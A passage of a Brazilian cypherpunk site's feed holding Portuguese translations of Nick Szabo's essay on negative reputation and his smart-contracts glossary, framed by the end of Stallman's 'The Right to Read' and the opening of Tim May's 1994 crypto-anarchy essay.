. &lt;strong>Sua missão é preservar, proteger e promover a liberdade de usar, estudar, copiar, modificar e redistribuir software de computador e defender os direitos dos usuários de Software Livre.&lt;/strong>&lt;/p>
&lt;p>Direito Autoral © 1996, 2002, 2007, 2009, 2010 Richard Stallman&lt;br>
Este ensaio foi escrito em 1996 e foi publicado em &lt;!-- raw HTML omitted -->Comunicações do ACM,&lt;!-- raw HTML omitted --> vol. 40, n. 2, Fevereiro de 1997.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.gutenberg.org/files/1981/1981-h/1981-h.htm" target="_blank" rel="noopener noreferrer">The Right to Read - Richard Stallman&lt;/a>
&lt;/p></content:encoded></item><item><title>Reputação negativa</title><link>https://cypherpunks.com.br/documentos/reputacao-negativa/</link><pubDate>Mon, 01 Jan 1996 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/reputacao-negativa/</guid><description>Um problema importante e geral parece ser o de marcar uma fonte de comportamento negativo para reconhecimento futuro. A tag pode ser usada para informações negativas compartilhadas publicamente (por exemplo, classificações de crédito) ou mantidas em sigilo (por exemplo, matar arquivos).</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="1996">1996&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Um problema importante e geral parece ser o de marcar uma fonte de comportamento negativo para reconhecimento futuro. A tag pode ser usada para informações negativas compartilhadas publicamente (por exemplo, classificações de crédito) ou mantidas em sigilo (por exemplo, matar arquivos). A fonte de comportamento pode ser não humana (por exemplo, reconhecer padrões de vírus para fins de verificação de vírus). Onde a fonte de comportamento é adaptável e interessada, ela tem um incentivo para falsificar a marcação: um devedor para mudar nomes para evitar pagar suas dívidas, um vírus para embaralhar seu padrão para evitar varredura, e assim por diante. Se a tag tiver uma reputação positiva maior (onde zero é a reputação de um recém-chegado), esse incentivo será perdido e o lado negativo da reputação - a falta de reputação - deve ser suportado.&lt;/p>
&lt;p>Os sistemas de credenciamento digital podem facilitar esse tratamento negativo da reputação?&lt;/p>
&lt;p>Reputação específica do serviço, também conhecida localmente, pode não ser capaz de realizar esse rastreamento de reputação negativa. Se um nym local acumular mais credenciais negativas do que positivas, ele pode simplesmente ser substituído por um nym local recém-chegado para este serviço, sem prejudicar o capital de reputação positivo dos nyms locais de outras fontes de comportamento. Fontes hostis podem continuamente falsificar novatos inocentes. As contrapartes perdem a capacidade de determinar um histórico de arquivos hostis de morte anterior, varredura de vírus, classificações de crédito, etc.&lt;/p>
&lt;p>As &lt;a href="http://www.chaum.com/publications/Security_Wthout_Identification.html" target="_blank" rel="noopener noreferrer">credenciais chaumianas&lt;/a>
também dão ao titular da credencial o controle sobre a transferência de credenciais entre seus nyms locais, criando um incentivo para mostrar credenciais positivas e ocultar as negativas. Para remediar isso, as contrapartes podem exigir &amp;ldquo;credenciais não-negativas&amp;rdquo; (em uma forma como &amp;ldquo;Alice em muitas transações registradas por mim na área X nunca fez coisas ruins x, y, z&amp;rdquo;), credenciais não-negativas são limitadas para áreas que podem ser bem controladas. Uma delas pode ser a classificação de crédito, desde que uma esteja fazendo a maior parte das transações de crédito através de nyms locais ligados a uma pessoa.&lt;/p>
&lt;p>Onde as credenciais de Chaumian são inaplicáveis, podemos aumentar o custo de entrada para ser maior do que o de um recém-chegado. Isso nos dá dois pontos de reputação claramente definidos para comparar em uma escala bastante subjetiva: limite de participação e reputação de recém-chegado. Ambos são subjetivos no olho da parte que escolhe se quer ou não participar de uma atividade com o nym.&lt;/p>
&lt;p>Um limiar de participação maior do que a reputação de recém-chegados se choca com o objetivo desejável, que é capaz de fazer um novo começo. Aliás, a menos que os nyms anteriores e suas reputações positivas estejam ligadas a seus novos nyms, os pioneiros não podem começar, de modo que a própria instituição não possa ser iniciada. O mesmo vale para o crescimento institucional.&lt;/p>
&lt;p>Tags que agrupam os resultados de uma ampla variedade de transações - nyms globais, também conhecidos como IDs universais, também conhecidos como &amp;ldquo;Nomes Verdadeiros&amp;rdquo; - parecem fornecer o maior incentivo para que as partes carreguem suas credenciais negativas. A maioria das pessoas acumulou reputação positiva suficiente em algumas áreas que é quase impossível para eles começarem suas vidas inteiras como recém-chegados.&lt;/p>
&lt;p>Um grande problema surge com credenciais negativas quando elas são usadas, não apenas para evitar a participação em uma atividade específica com uma parte, mas para retaliação contra essa parte. A retribuição pode tomar alguma forma on-line não violenta, como calúnia, ataque de negação de serviço e assim por diante, mas a forma mais preocupante de retribuição é um ataque físico violento. Poderíamos ter marcas digitais que, enquanto rastreavam fontes de comportamento negativo no mundo digital, permanecessem estritamente desvinculadas de qualquer tipo de dados de localização física? Infelizmente, temos vários sistemas importantes, como telefones celulares, endereços de envio, etc., que fornecem essa ligação.&lt;/p>
&lt;p>A questão pode ser a de decidir quais destas três dimensões são mais importantes e como podem ser trocadas:&lt;/p>
&lt;ul>
&lt;li>Os ganhos a serem obtidos de rastreamento e, assim, evitar fontes de comportamento negativo&lt;/li>
&lt;li>Os ganhos a serem obtidos a partir de um mundo digital não violento (isto é, um reino virtual no qual qualquer ação digital não pode ter consequências fisicamente violentas).&lt;/li>
&lt;li>A inconveniência (e talvez impraticabilidade) de particionar os mundos físico e digital em diferentes sistemas de ID (mais realisticamente, algum subconjunto &amp;ldquo;puro&amp;rdquo; do mundo digital completamente particionado a partir de dispositivos de localização, informações físicas de envio, etc.)&lt;/li>
&lt;/ul>
&lt;p>Tenha em mente também que, na prática, elas são avaliadas principalmente por um mercado que evolui de seu estado atual, e não por filosofias éticas abstratas.&lt;/p>
&lt;p>Robin Hanson observou que, em um mundo de nyms globais, o uso de um nym local pode sinalizar a ocultação de credenciais negativas, de modo que o uso de nyms globais esteja em equilíbrio. Um outro problema com os nyms locais é que nossos relacionamentos muitas vezes não são perfeitamente compartimentáveis ​​em tipos de serviço padrão, e até onde eles estão, gostaríamos de expandi-los em novas áreas. Sugiro que, no mínimo, vamos querer revelar progressivamente mais nyms locais às nossas contrapartes, à medida que nossos relacionamentos com eles se tornarem mais próximos e mais coexpostos.&lt;/p>
&lt;p>Enquanto o equilíbrio nym global pode manter por muitos de nossos relacionamentos, pode haver muitas áreas onde os benefícios da &lt;a href="http://szabo.best.vwh.net/smart_contracts_glossary.html#privity" target="_blank" rel="noopener noreferrer">privacidade&lt;/a>
de localizar nyms superam os custos de ser menor ou incapaz de diferenciar os recém-chegados de inimigos. (Por &amp;ldquo;prividade&amp;rdquo; eu me refiro a toda a tarefa geral de proteger as relações de terceiros hostis; confidencialidade e proteção de propriedade contra roubo são dois exemplos de privacidade). Por exemplo, o serviço de rastreamento de preferências em &lt;a href="https://www.firefly.com" target="_blank" rel="noopener noreferrer">www.firefly.com&lt;/a>
aumenta a participação por meio do uso de pseudônimos e sofre pouca exposição de hostis. Por outro lado, as transações de crédito normalmente exigem informações de identificação, porque a exposição contratual normalmente supera os benefícios da privacidade.&lt;/p>
&lt;p>As chaves públicas globais da nym, que têm muitas desvantagens em termos de privacidade, podem ser a melhor maneira de rastrear a reputação negativa, mas não são uma panacéia. Há um enigma importante em um sistema de chaves baseado em ID: o conflito entre a capacidade de obter uma nova chave quando a antiga é ou pode ser abusada por outra (revogação da chave) e a capacidade de outra ter certeza de estar lidando com ela. com a mesma pessoa novamente. Isso também pode oferecer uma oportunidade para as partes revelarem seletivamente credenciais positivas e ocultarem as negativas. Por exemplo, uma pessoa com uma classificação de crédito ruim pode revogar a chave sob a qual essa classificação é distribuída e criar uma nova, enquanto atualiza seletivamente suas credenciais positivas para a nova chave (por exemplo, fazer com que sua alma mater crie um novo diploma). &lt;a href="http://szabo.best.vwh.net/authorities.html" target="_blank" rel="noopener noreferrer">Autoridades&lt;/a>
de revogação de chave podem combinar forças com agências de classificação de crédito para evitar esse apagamento da história negativa, mas isso lhes dá um controle ainda mais centralizado - não apenas sobre identidades, mas sobre importantes elementos de reputação associados a esses documentos. Isso viola ainda mais os princípios da separação de poderes e da segregação de funções, proporcionando uma oportunidade adicional para a emissão fraudulenta ou revogação de identidades, juntamente com a comunicação fraudulenta de informações de reputação.&lt;/p>
&lt;p>A chave universal (não criptográfica) universal nos EUA, o SSN, é muito difícil de revogar. Muito mais fácil mudar seu nome. Essa política provavelmente não é um acidente, já que a maior vitória econômica da identificação global de nim é o rastreamento de reputações negativas, que a revogação pode derrotar. Enquanto o SSN for uma chave de banco de dados compartilhada, não usada com a finalidade de identificar com segurança uma transação sem rosto, há pouca necessidade de revogação além do apagamento indesejado do histórico negativo. Combinar uma chave de autenticação secreta, que deve ser revogável, com uma ID universal pública é bastante problemática.&lt;/p>
&lt;hr>
&lt;p>Por favor, envie seus comentários para &lt;a href="mailto:nszabo@law.gwu.edu">nszabo@law.gwu.edu&lt;/a>
&lt;/p>
&lt;p>Direito autoral © 1996 por Nick Szabo&lt;br>
Permissão para redistribuir sem alteração previamente concedida.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/negative-reputation/" target="_blank" rel="noopener noreferrer">Negative Reputation - Nick Szabo&lt;/a>
&lt;/p></content:encoded></item><item><title>Glossário de Contratos inteligentes</title><link>https://cypherpunks.com.br/documentos/glossario-de-contratos-inteligentes/</link><pubDate>Sun, 01 Jan 1995 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/glossario-de-contratos-inteligentes/</guid><description>Glossário a respeito do trabalho do Nick Szabo.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Yuri CW
Revisado por: Matheus Bach, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="glossário-de-contratos-inteligentes">&lt;strong>Glossário de Contratos inteligentes&lt;/strong>&lt;/h1>
&lt;p>&lt;strong>Nick Szabo&lt;/strong>&lt;/p>
&lt;p>&lt;strong>Originalmente publicado em 1995&lt;/strong>
&lt;/p>
&lt;p>&lt;em>Agente&lt;/em>: Uma pessoa ou organização, geralmente representada por um nome verdadeiro ou nym(nick). Além disso, um programa de computador executado por, ou agindo em nome de, um agente. De maneira mais genérica, é uma combinação de um nym com um padrão de comportamento persistente, sobre a qual pode-se identificar uma reputação. Note-se que isso difere das definições legais e comerciais de &amp;ldquo;agente&amp;rdquo;, mas corresponde mais precisamente ao emprego econômico e informático do termo.&lt;/p>
&lt;p>&lt;em>Contrato&lt;/em>: Um conjunto de acordos ou promessas entre agentes.&lt;/p>
&lt;p>&lt;em>Partes (também conhecidos por contratantes):&lt;/em> Agentes que tenhamconcordado com a questão contratual.&lt;/p>
&lt;p>&lt;em>Terceiros&lt;/em>: Agentes que não tenham concordado com o contrato em questão.&lt;/p>
&lt;p>&lt;em>Execução&lt;/em>: Realização das promessas especificadas no contrato.&lt;/p>
&lt;p>&lt;em>Segurança Contratual&lt;/em>: Um paradigma para fazer acordos de segurança entre organizações, baseada em duas alegações: (1) o objetivo principal da segurança entre organizações é proteger e fazer cumprir a execução dos contratos, e (2) quando este objetivo é alcançado, a dependência da reputação, execução externa e outros fatores para a execução segura dos contratos dessa organização é minimizada.&lt;/p>
&lt;p>&lt;em>Distribuição de Chaves Contratuais&lt;/em>: Um modelo para distribuição de chaves entre indivíduos e organizações, no qual a distribuição de chaves e a estrutura de certificados refletem as disposições contratuais entre as partes.&lt;/p>
&lt;p>&lt;em>Protocolo&lt;/em>: Uma sequência de mensagens entre múltiplos agentes.&lt;/p>
&lt;p>&lt;em>Contrato inteligente&lt;/em>: Um conjunto de promessas, incluindo protocolos nos quais as partes cumprem essas promessas. Os protocolos são geralmente implementados por meio de programas em uma rede de computadores ou em outros tipos de equipamentos eletrônicos digitais. Portanto, estes contratos são &amp;ldquo;mais inteligentes&amp;rdquo; do que os seus antecessores em papel. Não está implícito a utilização de inteligência artificial.&lt;/p>
&lt;p>&lt;em>Alice e Bob&lt;/em>: Nosso exemplo das partes de um contrato inteligente.&lt;/p>
&lt;p>&lt;em>Eve&lt;/em>: Nosso exemplo de bisbilhoteiro, cujo objetivo é descobrir informações valiosas sobre um contrato e a sua execução sem pertencer a este contrato.&lt;/p>
&lt;p>&lt;em>Mallet&lt;/em>: Nosso exemplo de agressor ativo. O seu objetivo pode ser roubar algo valioso envolvido na execução de um contrato inteligente ou negá-lo às partes do contrato. Pode ser um agente economicamente racional em busca de puro ganho pessoal, ou um invasor pretencioso, na pior das hipóteses, que inflige o maior dano possível a uma ou mais partes, independentemente da perda pessoal.&lt;/p>
&lt;p>&lt;em>Mediador&lt;/em>: Um terceiro envolvido em tempo real nos protocolos entre as partes de um contrato inteligente, a quem foi confiado partes do conteúdo e/ou execução desse contrato.&lt;/p>
&lt;p>&lt;em>Árbitro&lt;/em>: Um terceiro a quem confiou-se parte do conteúdo e parte do histórico da execução de um contrato, gozando da confiança das partes contratadas para resolução justa de litígios decorrentes desse contrato.&lt;/p>
&lt;p>&lt;em>Desagregação&lt;/em>: O princípio da distribuição da confiança. A separação das funções de mediação e arbitragem separa tarefas, espalha o risco, minimiza a vulnerabilidade e reduz a probabilidade de vínculo, mas muitas vezes à custa de uma maior complexidade.&lt;/p>
&lt;p>&lt;em>Inimigo (também conhecido como agressor):&lt;/em> Um agente cujas preferências podem causar danos a outro agente; um terceiro que influencia a execução de um contrato em detrimento de uma ou ambas as partes.&lt;/p>
&lt;p>&lt;em>Objeto&lt;/em>: Aqui usado para se referir genericamente a qualquer tipo de dados digitais, que podem ser uma chave, uma credencial, um contrato, um programa ou uma grande variedade de outras coisas.&lt;/p>
&lt;p>&lt;em>Credencial&lt;/em>: Uma alegação que um agente faz sobre outro.&lt;/p>
&lt;p>&lt;em>Credencial positiva:&lt;/em> Uma alegação feita sobre um agente, que este prefere revelar, tal como a diplomação em uma escola de prestígio.&lt;/p>
&lt;p>&lt;em>Credencial negativa&lt;/em>: Uma alegação feita sobre um agente, que este preferiria não revelar, como por exemplo uma má avaliação de crédito.&lt;/p>
&lt;p>&lt;em>Protocolo criptográfico&lt;/em>: Um protocolo que utiliza chaves e princípios matemáticos para atingir as finalidades dos contratos inteligentes.&lt;/p>
&lt;p>&lt;em>Privity(privacidade)&lt;/em>: O princípio pelo qual apenas as partes de um contrato, incluindo os seus árbitros designados, precisam conhecer, controlar e executar esse contrato. A privacidade como objetivo de um contrato inteligente é uma generalização do princípio legal de privity. Ela formaliza a tradição do &amp;ldquo;não é da sua conta&amp;rdquo;. Os ataques contra a privacidade são representados por Eve, o bisbilhoteiro, um observador passivo do conteúdo ou da execução, e pelo vândalo malicioso Mallet, que interfere ativamente na execução ou furta algum valor. A privacidade e confidencialidade, ou a proteção do valor da informação sobre um contrato, das suas partes e da sua execução, de Eve, são assim classificadas sob sigilo. A privacidade entra frequentemente em conflito com a observabilidade e a verificabilidade.&lt;/p>
&lt;p>&lt;em>Observabilidade&lt;/em>: A capacidade das partes num contrato para observar a execução do contrato pela outra parte ou para provar sua execução à outra parte. Além disso, é a capacidade para diferenciar entre violações intencionais do contrato e erros de boa-fé. Um objetivo importante da concepção de contrato inteligente que muitas vezes entra em conflito com a privacidade.&lt;/p>
&lt;p>&lt;em>Verificabilidade&lt;/em>: A capacidade de uma parte provar a um árbitro que um contrato foi executado ou violado, e de diferenciar entre violação intencional e erros de boa-fé. Um objetivo importante da concepção de contrato inteligente, que muitas vezes entra em conflito com a privacidade.&lt;/p>
&lt;p>&lt;em>Nome respeitável&lt;/em>: Um nym ou nome verdadeiro que tenha uma boa reputação, geralmente por ter muitas credenciais positivas, possuir boa classificação de crédito ou ser altamente respeitado de alguma outra forma. As empresas se esforçam para manter marcas respeitáveis, enquanto profissionais como médicos e advogados se esforçam para ter muitas recomendações pessoais positivas. Boas reputações podem ser difíceis de transferir entre agentes, uma vez que a reputação presume uma persistência de comportamento, mas tal transferência pode às vezes ocorrer (por exemplo, a negociação de marcas entre empresas).&lt;/p>
&lt;p>Nome verdadeiro: Um identificador que associa muitos tipos de informações distintas sobre um agente, como um nome de nascimento completo ou número da previdência social. Tal como na mágica, conhecer o nome verdadeiro de alguém pode conferir tremendo poder aos seus inimigos. Também pode ter enorme valor econômico entre aqueles que cooperam pacificamente, como no uso do marketing direto para direcionar as informações de um produto para os agentes mais interessados nesses produtos.&lt;/p>
&lt;p>&lt;em>Mix&lt;/em>: Um protocolo criptográfico para mensagens no qual a análise de quem está falando com quem (análise de tráfego) por Eve é impedida pela criptografia da mensagem do remetente com chaves públicas de cada operação de mistura na cadeia, além da mistura de mensagens por cada operador, fazendo a espionagem panóptica de Eve perder o rastro das mensagens. Apenas 1 em cada &amp;lsquo;N&amp;rsquo; operadores precisa conhecer as informações de tráfego. Embora às vezes Eve possa coletar estatísticas sobre muitas mensagens para eventualmente adivinhar quem está se comunicando com quem.&lt;/p>
&lt;p>As partes comunicantes também podem ser mutuamente anônimas, e com a criptografia normal não precisam confiar o conteúdo das mensagens a outras partes. O envio de mensagens confidenciais é necessário para que algumas das características de privacidade das credenciais chaumianas e valores portadores sejam fortemente implementadas em uma rede real. Outro sistema de mensagens confidenciais é a rede &amp;ldquo;Dining Cryptographers&amp;rdquo;, também inventada por Chaum.&lt;/p>
&lt;p>&lt;em>Nym(nick)&lt;/em>: Um identificador que associa apenas uma pequena quantidade de informações relacionada a um indivíduo, geralmente informações que o titular do nym considera relevantes para uma determinada organização ou comunidade. Exemplos de nyms incluem apelidos de quadros de avisos eletrônicos, nomes de canetas, pseudônimos e nomes de marcas. Um nym pode ganhar reputação dentro da sua comunidade. Por exemplo, um conglomerado pode vender uma grande variedade de marcas, cada uma respeitável em seu próprio nicho de mercado. Com as credenciais chaumianas, um nym pode tirar proveito das credenciais positivas dos outros nyms do titular, como comprovadamente ligado pela credencial &amp;ldquo;é-uma-pessoa.&amp;rdquo;&lt;/p>
&lt;p>&lt;em>Espaço para nomes&lt;/em>: Um conjunto de identificadores curtos com uma sintaxe simples, tais como números de telefone, endereços de internet legíveis por computador, nomes de domínio de internet legíveis por humanos, etc.&lt;/p>
&lt;p>&lt;em>Credenciais chaumianas&lt;/em>: Um protocolo criptográfico para comprovar posse de reivindicações feitas sobre si mesmo por outros nyms, sem revelar as relações entre esses nyms.&lt;/p>
&lt;p>&lt;em>Credencial é-uma-pessoa&lt;/em>: Nas credenciais chaumianas, a credencial de nome verdadeiro é usada para comprovar a relação entre nyms que de outra forma não poderiam ser relacionados, além de impedir a transferência de nyms entre agentes.&lt;/p>
&lt;p>&lt;em>Chave&lt;/em>: Um centro de escuridão e controle; um número aleatório extraído de um espaço de nome tão grande que um palpite baseado na sorte é altamente improvável. A metade da chave pública de um par de chaves assimétricas também pode agir como um nym.&lt;/p>
&lt;p>&lt;em>Biometria&lt;/em>: Padrão de informação utilizado para identificar um determinado corpo, como uma impressão digital, autógrafo, varredura de retina, senha etc.&lt;/p>
&lt;p>&lt;em>Autenticação&lt;/em>: Prova de que você está se comunicando com um agente que possui uma determinada chave.&lt;/p>
&lt;p>&lt;em>Criptografia de chave secreta (simétrica):&lt;/em> Utiliza uma chave partilhada entre agentes para se comunicar com confidencialidade e autenticação.&lt;/p>
&lt;p>&lt;em>Criptografia de chave pública (assimétrica):&lt;/em> Utiliza duas chaves, a chave privada e a chave pública. A chave pública é utilizada para criptografar objetos e verificar assinaturas digitais. A chave privada é usada para decodificar e assinar objetos, sendo geralmente mantida em segredo por um ou mais portadores das chaves. Permite a distribuição da chave sem expor a chave.&lt;/p>
&lt;p>&lt;em>Compartilhamento secreto&lt;/em>: Método para dividir uma chave (e assim qualquer objeto criptografado com essa chave) em &amp;lsquo;N&amp;rsquo; partes, das quais apenas &amp;lsquo;M&amp;rsquo; são necessárias para recriar a chave, mas menos que &amp;lsquo;M&amp;rsquo; das partes não fornece quaisquer informações sobre a chave. Uma ferramenta poderosa para distribuir o controle sobre os objetos entre os agentes.&lt;/p>
&lt;p>&lt;em>Assinatura digital&lt;/em>: Protocolo criptográfico baseado em criptografia de chave pública que prova que um objeto estava em contato ativo com a chave privada correspondente a assinatura: o objeto foi ativamente &amp;ldquo;assinado&amp;rdquo; com essa chave. Provavelmente deveria ter sido chamado de &amp;ldquo;estampa digital&amp;rdquo; ou &amp;ldquo;selo digital&amp;rdquo;, já que sua função é mais semelhante a esses métodos do que um autógrafo.&lt;/p>
&lt;p>&lt;em>Um pouco de compromisso:&lt;/em> Uma variante das assinaturas digitais, usada para comprometer um objeto, como uma promessa ou previsão, sem revelar esse objeto até um momento futuro. É impossível violar o protocolo sem querer ou modificar o objeto após ele ter sido comprometido.&lt;/p>
&lt;p>&lt;em>Assinatura ofuscada:&lt;/em> Protocolos de assinatura digital e criptografia de chave secreta que juntos têm a propriedade matemática da comutabilidade, de modo que possam ser extraídos na ordem inversa de sua aplicação. O efeito prático é que Bob &amp;ldquo;assina&amp;rdquo; um objeto, para que possa verificá-lo de forma geral, mas não consegue visualizar seu conteúdo específico. Normalmente a chave da assinatura define o significado do objeto assinado, ao invés do conteúdo do objeto assinado, para que Bob não acabe assinando um cheque em branco. Usado em instrumentos digitais de portador, onde Bob é o agente compensador, e nas credenciais chaumianas, onde Bob é o emissor das credenciais.&lt;/p>
&lt;p>&lt;em>Instrumentos digitais ao portador&lt;/em>: Objetos identificados por uma chave única e emitidos, compensados e resgatados por um agente de processamento. Quando um objeto é transferido, o destinatário da transferência pode solicitar ao agente de processamento que verifique se a chave nunca foi apagada antes, emitindo, assim, uma nova chave. O agente de processamento impede o processamento múltiplo de objetos individuais, mas pode ser impedido de relacionar determinados objetos a um ou aos dois nyms de processamento que transferiram esse objeto. Esses instrumentos apresentam-se numa variedade &amp;ldquo;on-line&amp;rdquo;, processada durante cada transferência e, portanto, tanto verificável como observável, e numa variedade &amp;ldquo;offline&amp;rdquo;, que pode ser transferida sem ser processada, mas só verificável quando finalmente processada, ao revelar qualquer nym de processamento de qualquer titular intermediário que transferiu o objeto múltiplas vezes (uma quebra de contrato). A privacidade do agente de processamento pode tomar a forma de &amp;rsquo;transferido-desvinculabilidade&amp;rsquo;, &amp;rsquo;transferidor- desvinculabilidade&amp;rsquo;, ou &amp;lsquo;duplamente-ofuscada&amp;rsquo;, onde tanto o transferidor quanto o transferido são desvinculáveis pelo agente de processamento. O dinheiro digital é uma forma popular de instrumento digital ao portador.&lt;/p>
&lt;p>&lt;em>Localidade:&lt;/em>&lt;/p>
&lt;p>· Imediatismo, tal como oferecido pelo processamento online de instrumentos digitais ao portador&lt;/p>
&lt;p>· Negocia com os agentes que melhor se conhecem.&lt;/p>
&lt;p>· Negocia na sua área de especialização.&lt;/p>
&lt;p>&lt;em>Backup imediato:&lt;/em> Um serviço de backup que fica online em caso de falha do serviço principal. Normalmente acionado por um interruptor automático.&lt;/p>
&lt;p>&lt;em>Teste interativo de conhecimento zero (ZKIP):&lt;/em> Um protocolo criptográfico que pode ser utilizado para provar que um agente possui uma chave (e por implicação menor, que os agentes que normalmente funcionam de uma outra maneira e que têm um incentivo para responder adequadamente ao desafio, mas não conseguem fazê-lo, não possuem a chave), sem revelar qualquer informação sobre essa chave. Atualmente utilizado para autenticação e em armas inteligentes para identificação de amigos ou inimigos (IFF).&lt;/p>
&lt;p>&lt;em>Propriedade inteligente&lt;/em>: Software ou dispositivos físicos trazendo as características desejadas de propriedade embutidas; por exemplo, dispositivos de valor muito menor que podem ser entregues aos agentes que não possuem uma chave, como demonstrado por um teste interativo de conhecimento zero. Os métodos de implementação de propriedade inteligente podem incluir OND (cf.), e dispositivos imobilizantes ou destrutivos registrados para frustrar as tentativas de burlar a propriedade.&lt;/p>
&lt;p>&lt;em>Dados Necessários Para a Operação (OND):&lt;/em> Dados necessários para o funcionamento da propriedade inteligente. Por exemplo, uma sequência de disparo complexa e proprietária necessária para operar um motor computadorizado, um arquivo CAD necessário para fabricar uma peça especializada etc. Para evitar roubo de serviço, o ZKIP deve abrir um canal criptografado para o dispositivo. Para evitar vazamento do OND para Eve, a detecção de violação combinada com um interruptor automático pode ser usada na extremidade do dispositivo do canal.&lt;/p>
&lt;p>&lt;em>Smart__Lien&lt;/em>: Compartilha o controle de propriedade inteligente entre as partes, geralmente duas partes chamadas de proprietário e titular do direito. Esta propriedade pode estar na posse imediata do proprietário ou do titular do direito, correspondendo às noções de direito comum de &amp;ldquo;titularidade do inquilino&amp;rdquo; e &amp;quot; titularidade do hospedeiro&amp;quot; respectivamente. Pode ser usado para assegurar linhas de crédito, apólices de seguro e muitos outros tipos de contratos que envolvam propriedade inteligente.&lt;/p>
&lt;p>&lt;em>Segurança:&lt;/em> Representa um bem básico, tal como uma parte da propriedade (ações) ou uma dívida (obrigações, dinheiro).&lt;/p>
&lt;p>&lt;em>Contrato contingente:&lt;/em> Contém termos que dependem da escolha de uma das partes ou de um estado do mundo. Uma opção é um exemplo de um contrato contingente.&lt;/p>
&lt;p>&lt;em>Derivado:&lt;/em> Uma opção de call ou put, um ativo futuro ou sintético; tal contrato é &amp;ldquo;derivado&amp;rdquo; de um bem subjacente básico.&lt;/p>
&lt;p>&lt;em>Ativo sintético&lt;/em>: Um derivativo construído ou &amp;ldquo;sintetizado&amp;rdquo; pela combinação de bens e outros derivativos. Os fluxos de caixa para sintéticos sofisticados podem ser calculados com alta precisão por árvores de decisão altamente complexas.&lt;/p>
&lt;p>Fluxo de caixa: A sequência esperada de pagamentos de acordo com os termos de um contrato. Por meio do fluxo de caixa podem ser calculados as metas financeiras básicas de um contrato, como o valor líquido atual.&lt;/p>
&lt;hr>
&lt;p>Por favor envie seus comentários para nszabo (at) law (dot) gwu (dot) edu&lt;/p>
&lt;p>Copyright © 1995 por Nick Szabo&lt;/p>
&lt;p>fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/smart_contracts_glossary.html" target="_blank" rel="noopener noreferrer">szabo.best.vwh.net/smart_contracts_glossary.html&lt;/a>
&lt;/p>
&lt;p>Permissão para redistribuir sem alterações aqui concedida&lt;/p></content:encoded></item><item><title>Criptoanarquia e Comunidades Virtuais</title><link>https://cypherpunks.com.br/documentos/criptoanarquia-e-comunidades-virtuais/</link><pubDate>Thu, 01 Dec 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/criptoanarquia-e-comunidades-virtuais/</guid><description>A combinação de criptografia de chave pública forte e inquebrável e comunidades de redes virtuais no ciberespaço produzirá mudanças interessantes e profundas na natureza dos sistemas econômicos e sociais. A criptoanarquia é a realização ciberespacial do anarco-capitalismo, transcendendo as fronteiras nacionais e libertando os indivíduos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;hr>
&lt;h2 id="timothy-c-may">Timothy C. May&lt;/h2>
&lt;p>Dezembro de 1994&lt;/p>
&lt;h2 id="resumo-estendido">Resumo Estendido&lt;/h2>
&lt;p>A combinação de criptografia de chave pública forte e inquebrável e comunidades de redes virtuais no ciberespaço produzirá mudanças interessantes e profundas na natureza dos sistemas econômicos e sociais. A criptoanarquia é a realização ciberespacial do anarco-capitalismo, transcendendo as fronteiras nacionais e libertando os indivíduos para fazer os arranjos econômicos que eles desejam fazer consensualmente.&lt;/p>
&lt;p>Criptografia robusta, exemplificada pelo RSA (um algoritmo de chave pública) e pelo PGP (Pretty Good Privacy), fornece criptografia que essencialmente não pode ser quebrada com todo o poder computacional do universo. Isso garante segurança e privacidade. Criptografia de chave pública é justamente considerada uma revolução.&lt;/p>
&lt;p>Misturas digitais (Mixers), ou remailers anônimos, usam criptografia para criar emails não rastreáveis, que tem muitos usos (Numerosos remailers anônimos, em vários países, estão operando agora. O tráfego de mensagens está crescendo exponencialmente).&lt;/p>
&lt;p>Os pseudônimos digitais, a criação de personas de rede persistentes que não podem ser forjadas por outros e que não são vinculáveis ​​aos &amp;ldquo;nomes verdadeiros&amp;rdquo; de seus proprietários, estão encontrando grandes usos para garantir a liberdade de expressão, ao permitir que opiniões controversas sejam veiculadas para transações econômicas que não podem ser bloqueadas pelos governos locais. A tecnologia que está sendo implantada pelos Cypherpunks e outros, significa que suas identidades, nacionalidades e até mesmo em que continentes não são rastreáveis ​​- a menos que escolham revelar essas informações. Isso altera a &amp;ldquo;topologia de relacionamento&amp;rdquo; convencional do mundo, permitindo diversas interações sem regulamentação governamental, tributação ou interferência externa.&lt;/p>
&lt;p>O dinheiro digital, não rastreável e anônimo (como dinheiro real), também está chegando, embora vários obstáculos técnicos e práticos permaneçam. &amp;ldquo;Bancos suíços no ciberespaço&amp;rdquo; tornarão as transações econômicas muito mais líquidas e muito menos sujeitas às regras e regulamentações locais. A evasão fiscal é provavelmente uma grande atração para muitos. Um exemplo de interesse local para Monte Carlo pode ser o trabalho em andamento para desenvolver sistemas anônimos e não rastreáveis ​​para &amp;ldquo;casinos do ciberespaço&amp;rdquo;. Embora não seja tão atraente para muitos como cassinos elegantes, a popularidade de &amp;ldquo;jogos de números&amp;rdquo; e bookies em geral sugere uma oportunidade para prosseguir.&lt;/p>
&lt;p>Os paraísos de dados e os mercados da informação já estão surgindo, usando os métodos descritos para tornar a informação recuperável anonimamente e sem rastreabilidade.&lt;/p>
